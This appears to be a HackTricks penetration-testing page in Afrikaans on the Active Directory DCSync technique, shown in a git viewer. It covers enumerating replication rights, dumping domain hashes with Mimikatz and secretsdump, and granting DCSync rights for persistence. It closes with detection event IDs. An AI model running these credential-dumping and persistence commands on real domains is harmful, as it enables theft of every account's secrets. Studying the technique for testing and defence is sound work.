65 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DCSync
{{#include ../../banners/hacktricks-training.md}}
## DCSync
Die **DCSync** toestemming impliseer dat jy hierdie toestemmings oor die domein self het: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** en **Replicating Directory Changes In Filtered Set**.
**Belangrike Aantekeninge oor DCSync:**
- Die **DCSync-aanval simuleer die gedrag van 'n Domeinbeheerder en vra ander Domeinbeheerders om inligting te repliseer** met behulp van die Directory Replication Service Remote Protocol (MS-DRSR). Omdat MS-DRSR 'n geldige en noodsaaklike funksie van Active Directory is, kan dit nie afgeskakel of gedeaktiveer word nie.
- Standaard het slegs **Domein Administrators, Enterprise Administrators, Administrators, en Domeinbeheerders** groepe die vereiste voorregte.
- As enige rekeningwagwoorde met omkeerbare kodering gestoor word, is daar 'n opsie beskikbaar in Mimikatz om die wagwoord in duidelike teks terug te gee.
### Enumeration
Kontroleer wie hierdie toestemmings het met `powerview`:
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Exploit Plaaslik
```bash
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Exploit Afgeleë
```bash
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
```
`-just-dc` genereer 3 lêers:
- een met die **NTLM hashes**
- een met die **Kerberos sleutels**
- een met duidelike wagwoorde van die NTDS vir enige rekeninge wat met [**omkeerbare versleuteling**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) geaktiveer is. Jy kan gebruikers met omkeerbare versleuteling kry met
```bash
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Volharding
As jy 'n domein admin is, kan jy hierdie toestemmings aan enige gebruiker toeken met die hulp van `powerview`:
```bash
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Dan kan jy **kontroleer of die gebruiker korrek toegeken is** aan die 3 voorregte deur daarna te soek in die uitvoer van (jy behoort die name van die voorregte binne die "ObjectType" veld te kan sien):
```bash
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Versagting
- Sekuriteitsgebeurtenis ID 4662 (Auditsbeleid vir objek moet geaktiveer wees) 'n Operasie is op 'n objek uitgevoer
- Sekuriteitsgebeurtenis ID 5136 (Auditsbeleid vir objek moet geaktiveer wees) 'n Gidsdiensobjek is gewysig
- Sekuriteitsgebeurtenis ID 4670 (Auditsbeleid vir objek moet geaktiveer wees) Toestemmings op 'n objek is verander
- AD ACL Scanner - Skep en vergelyk skepverslae van ACLs. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
## Verwysings
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync)
- [https://yojimbosecurity.ninja/dcsync/](https://yojimbosecurity.ninja/dcsync/)
{{#include ../../banners/hacktricks-training.md}}